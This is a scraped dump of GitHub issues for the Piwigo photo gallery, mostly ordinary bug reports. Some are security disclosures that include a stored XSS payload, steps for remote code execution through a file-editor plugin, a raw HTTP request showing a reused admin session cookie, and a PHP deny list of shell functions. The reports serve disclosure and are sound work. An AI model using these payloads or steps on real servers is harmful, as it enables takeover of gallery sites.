https://api.github.com/repos/Piwigo/Piwigo/issues/719/comments
| 1 |
2017-06-24T16:54:31Z
|
2017-06-26T08:18:54Z
|
https://github.com/Piwigo/Piwigo/issues/719
| 238,328,712 | 719 |
[
"Piwigo",
"Piwigo"
] |
# Steps to reproduce:
1. Activate LocalFiles Editor Tools
2. Write a shell script file
3. Now you can execute commands on this server
4. Fix advices
disable_functions in /etc/php.ini
Prohibited to use dangerous functions like
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
discovered by: topsec(lizhiqiang)
|
Bug Report: LocalFiles Editor Tools Cause Remote Code Execution
|
https://api.github.com/repos/Piwigo/Piwigo/issues/718/comments
| 6 |
2017-06-23T16:49:23Z
|
2017-06-26T08:17:30Z
|
https://github.com/Piwigo/Piwigo/issues/718
| 238,196,920 | 718 |
[
"Piwigo",
"Piwigo"
] |
# Steps to reproduce:
1. Login with Administrator and get the cookie of administrator
2. Capture Packet and Request for an administrator only page.
Accessible- [√ ]
3. Now login out and delete all the cookie of administrator
Accessible- [× ]
You can see that redirction
But when administrator login again
This cookie can be reuse
Accessible- [√ ]
4. Packet Info
GET /piwigo/admin.php?page=plugin-LocalFilesEditor HTTP/1.1
Host: 192.168.233.145
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Referer: http://192.168.233.145/piwigo/admin.php?page=plugin-TakeATour
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=8i3dh1pru4mu95g20i6ehajvm3;
Connection: close
# Evironment:
- Windows XP Professional
- Apache
- MySQL
- PHP 5.4.45
discovered by: topsec(lizhiqiang)
|
Bug Report: Insecure Permissions of Reusable cookie
|
https://api.github.com/repos/Piwigo/Piwigo/issues/717/comments
| 10 |
2017-06-23T16:38:10Z
|
2017-10-07T09:00:14Z
|
https://github.com/Piwigo/Piwigo/issues/717
| 238,194,441 | 717 |
[
"Piwigo",
"Piwigo"
] |
## # Steps to reproduce:
1. Login to site as administrator;
2. create a new album
3. enter the payload "><img src=a onerror=confirm(1)>
payload has been base64encode "Ij48aW1nIHNyYz1hIG9uZXJyb3I9Y29uZmlybSgxKT4="
4. now you can see this script execute everywhere
# Evironment:
- Windows XP Professional
- Apache
- MySQL
- PHP 5.4.45
discovered by: topsec(lizhiqiang)
|
Bug Report: Stored cross site scripting(XSS) in virtual_name parameter of admin.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/716/comments
| 10 |
2017-06-23T16:18:05Z
|
2018-02-08T09:25:13Z
|
https://github.com/Piwigo/Piwigo/issues/716
| 238,189,673 | 716 |
[
"Piwigo",
"Piwigo"
] |
pwg.permissions.getList
When you provide a Group ID to filter by, this is ignored and details for all albums are returned regardless of whether the group Id you specified has permission on that album or not.
|
PIWIGO API
|
https://api.github.com/repos/Piwigo/Piwigo/issues/714/comments
| 0 |
2017-06-23T11:30:30Z
|
2017-09-05T09:20:29Z
|
https://github.com/Piwigo/Piwigo/issues/714
| 238,116,493 | 714 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I received the new update mail. The header is english, but the text itself is french, see screenshot below.
My guest user language is french [qc] and $conf['browser_language'] is not set in local config so its true by default. My browser language is german.
The language should be the same for both and determined by the browser language or the guest user language.
|
update notification mail in french/english mix
|
https://api.github.com/repos/Piwigo/Piwigo/issues/713/comments
| 1 |
2017-06-19T19:10:23Z
|
2017-06-21T09:47:32Z
|
https://github.com/Piwigo/Piwigo/issues/713
| 236,991,416 | 713 |
[
"Piwigo",
"Piwigo"
] |
Hi
The upgrade to 2.9.0 works well, but after upgrading the user_list is not showed anymore. It say only "No data available in table". When installing 2.9.0 from scratch it works... but not when upgrading from 2.8.6 version.
The user are there, i checked it in the database, the user can also login, only in backend is not possible to browse users or to change it... adding user is also possible, but also new creaed users will not be showed
Thank you
Gino
|
user_list not showed after upgrade to 2.9.0 from 2.8.6
|
https://api.github.com/repos/Piwigo/Piwigo/issues/712/comments
| 8 |
2017-06-16T14:17:33Z
|
2017-06-19T21:07:26Z
|
https://github.com/Piwigo/Piwigo/issues/712
| 236,496,359 | 712 |
[
"Piwigo",
"Piwigo"
] |
With Internet Explorer 11 (windows 7), you can delete a photo, and then if you select 2 other photos, Piwigo tells you they're deleted but they're still here.
|
[Batch Manager] IE11, can't delete photos
|
https://api.github.com/repos/Piwigo/Piwigo/issues/711/comments
| 1 |
2017-06-15T21:19:03Z
|
2017-10-05T13:01:59Z
|
https://github.com/Piwigo/Piwigo/issues/711
| 236,317,424 | 711 |
[
"Piwigo",
"Piwigo"
] |
With Piwigo 2.9.1, if you have have set a `$conf['gallery_url']` then the redirect path check will always fail.
```
$_POST[redirect_decoded] = /demo/admin.php
get_gallery_home_url() = http://fr.piwigo.org/demo
```
> Piwigo encountered an irrecoverable error
>
> [Hacking attempt] the input parameter "redirect_decoded" is not valid
>
> #1 check_input_parameter identification.php(52)
|
input parameter "redirect_decoded" is not valid
|
https://api.github.com/repos/Piwigo/Piwigo/issues/710/comments
| 3 |
2017-06-15T20:26:09Z
|
2023-12-06T17:39:18Z
|
https://github.com/Piwigo/Piwigo/issues/710
| 236,304,407 | 710 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I've got the videoJS plugin installed to allow upload of video files using the standard PIWIGO web page, but when I try and upload the files using the PIWIGO API, the files are not accepted. The error coming back from the server is (summarised a bit) below:
Warning chmod() no such file or directory in /var/www/piwigo/include/ws_functions/pwg.images.php on line 1077.
Warning getimagesize(./upload/buffer/<boring hex string>ac-original): failed to open stream: no such file or directory in /var/www/piwigo/admin/include/functions_upload.inc.php on line 226 unexpected file type.
Presumably, the PIWIGO api totally circumvents the plugin architecture as I noticed a different plugin I have installed that allows summarised and long descriptions for categories is not getting a chance to intercept calls to retrieve category details.
|
Uploading .mp4 file using the PIWIGO API fails (on pwg.images.add)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/709/comments
| 8 |
2017-06-15T20:20:52Z
|
2017-11-15T18:08:50Z
|
https://github.com/Piwigo/Piwigo/issues/709
| 236,303,065 | 709 |
[
"Piwigo",
"Piwigo"
] |
Each time we release a new version of Piwigo, we need to extract the list of issues from Github, add some HTML markup and put it in the release notes. I know, this procedure is way too manual... so to make it "a bit" simpler, let's have a script to generate a clean list from Github.
|
script to extract issues from Github
|
https://api.github.com/repos/Piwigo/Piwigo/issues/708/comments
| 0 |
2017-06-15T15:51:52Z
|
2017-06-15T15:52:46Z
|
https://github.com/Piwigo/Piwigo/issues/708
| 236,236,538 | 708 |
[
"Piwigo",
"Piwigo"
] |
On the new admin dashboard, saying "158.0 pages seen" is ugly. Piwigo should display "158 pages seen"
|
number of views, hide decimals when less than 1k
|
https://api.github.com/repos/Piwigo/Piwigo/issues/707/comments
| 0 |
2017-06-14T17:41:53Z
|
2018-01-15T12:59:10Z
|
https://github.com/Piwigo/Piwigo/issues/707
| 235,956,945 | 707 |
[
"Piwigo",
"Piwigo"
] |
The `$_POST['redirect']` system in identification.php can lead to redirect outside Piwigo. On any location actually. To avoid any "open redirect" security issue, Piwigo should make sure the redirection occurs only with Piwigo, not outside.
Reported by Eric Fernando Castañeda Nazario
|
identification should redirect within Piwigo only
|
https://api.github.com/repos/Piwigo/Piwigo/issues/706/comments
| 3 |
2017-06-14T08:11:25Z
|
2018-01-15T12:59:30Z
|
https://github.com/Piwigo/Piwigo/issues/706
| 235,796,803 | 706 |
[
"Piwigo",
"Piwigo"
] |
To avoid any possible security issue, let's check the input parameters
Reported by Eric Fernando Castañeda Nazario
|
user list backend, check input parameter
|
https://api.github.com/repos/Piwigo/Piwigo/issues/705/comments
| 0 |
2017-06-13T10:30:13Z
|
2018-01-15T12:59:42Z
|
https://github.com/Piwigo/Piwigo/issues/705
| 235,508,403 | 705 |
[
"Piwigo",
"Piwigo"
] |
Hey!
My Piwigo 2.9.0 is working very well. – But one thing:
When uploading a PDF (nothing special, one page with pure text) the thumbnail is not created. (I always see the thumbnail `themes/default/icon/mimetypes/unknown.png`.)
Actually I need the thumbnail creation for PDF with the upload functionality and with (folder) syncing. – Is that a known problem and can you help me, please!? (I looked a lot around: documentation, forums, bug tracker and on github with no luck …)
Thanks and best regards!
|
function upload_file_pdf is not triggered
|
https://api.github.com/repos/Piwigo/Piwigo/issues/704/comments
| 6 |
2017-06-12T19:12:40Z
|
2021-02-12T07:35:41Z
|
https://github.com/Piwigo/Piwigo/issues/704
| 235,336,677 | 704 |
[
"Piwigo",
"Piwigo"
] |
There is no facility in the API to alter or view "favourite" status of a resource.
|
PIWIGO API
|
https://api.github.com/repos/Piwigo/Piwigo/issues/703/comments
| 1 |
2017-06-08T18:46:00Z
|
2017-06-08T18:51:27Z
|
https://github.com/Piwigo/Piwigo/issues/703
| 234,620,863 | 703 |
[
"Piwigo",
"Piwigo"
] |
# **Issue on Photo Edit**
After upload an image, an administrator can edit their metadata as Title, Author, etc.
The image editor is similar to this URL /piwigo/admin.php?page=photo-5 where the number is an Image ID, the application does not validate strings passed to page parameter been possible to retrieve some files from the server similar to a Local File Inclusion.
|
Bug Report
|
https://api.github.com/repos/Piwigo/Piwigo/issues/702/comments
| 6 |
2017-06-07T22:12:30Z
|
2017-06-12T09:46:09Z
|
https://github.com/Piwigo/Piwigo/issues/702
| 234,358,192 | 702 |
[
"Piwigo",
"Piwigo"
] |
|
The album synchronise link reaches the page to synchronise ./galleries/ even if the album is located in another folder
|
https://api.github.com/repos/Piwigo/Piwigo/issues/701/comments
| 0 |
2017-06-07T10:04:49Z
|
2018-01-15T13:00:49Z
|
https://github.com/Piwigo/Piwigo/issues/701
| 234,157,586 | 701 |
[
"Piwigo",
"Piwigo"
] |
Hi,
My Apache error log adds twice the error below each time I open the Piwigo app on Iphone
`AH01071: Got error 'PHP message: PHP Deprecated: Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in Unknown on line 0\n' `
Sorry If this is not the right place to post this issue, let me know where I should report it.
|
server side php error when opening Iphone Piwigo app
|
https://api.github.com/repos/Piwigo/Piwigo/issues/700/comments
| 0 |
2017-06-07T08:43:09Z
|
2017-06-07T08:43:09Z
|
https://github.com/Piwigo/Piwigo/issues/700
| 234,134,711 | 700 |
[
"Piwigo",
"Piwigo"
] |
$_GET['tab'] is not enough protected and may let an administrator include (and execute) any reachable file
report by feric jeje
|
File inclusion in administration
|
https://api.github.com/repos/Piwigo/Piwigo/issues/699/comments
| 0 |
2017-06-02T08:08:22Z
|
2018-01-15T13:01:00Z
|
https://github.com/Piwigo/Piwigo/issues/699
| 233,107,455 | 699 |
[
"Piwigo",
"Piwigo"
] |
In local/config/config.inc.php a site admin can enable displaying metadata by default. Also theme devolpers might decide to set this to true via pwg_set_session_var.
If set to true, the logic in picture.php adds the robots noindex,nofollow meta tag, which basically disables indexing of the picture pages. This does make sense if show_metadata=false by default, so the picture page doesn't get indexed twice following the "toggle metadata" button.
If set to true by default, that logic should acually be reversed. Index by default (with metadata then), noindex,nofollow when following the link to the page without metadata. Implementing this sounds overly complicated, though. We have a semi-hidden config.inc.php option, user interaction with a button press , maybe a forced session var from a theme, etc.
To keep things simple, a site admin should be able to set this in the admin panel (show metadata always, never, only for authenticated users) and the test in picture.php should be removed. Theme developers still can implement the toggle button using jQuery show/hide, CSS or similar.
References:
http://piwigo.org/forum/viewtopic.php?id=28008
https://github.com/tkuther/piwigo-bootstrap-darkroom/issues/64
|
show_metadata=true vs. noindex,nofollow logic in picture.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/698/comments
| 5 |
2017-06-01T08:51:39Z
|
2023-11-23T21:24:06Z
|
https://github.com/Piwigo/Piwigo/issues/698
| 232,808,191 | 698 |
[
"Piwigo",
"Piwigo"
] |
http://piwigo.org/forum/viewtopic.php?pid=167664#p167664
|
use "Apply to sub-albums" checkbox also to set children to public
|
https://api.github.com/repos/Piwigo/Piwigo/issues/697/comments
| 2 |
2017-05-31T00:22:51Z
|
2017-10-05T13:00:50Z
|
https://github.com/Piwigo/Piwigo/issues/697
| 232,419,389 | 697 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.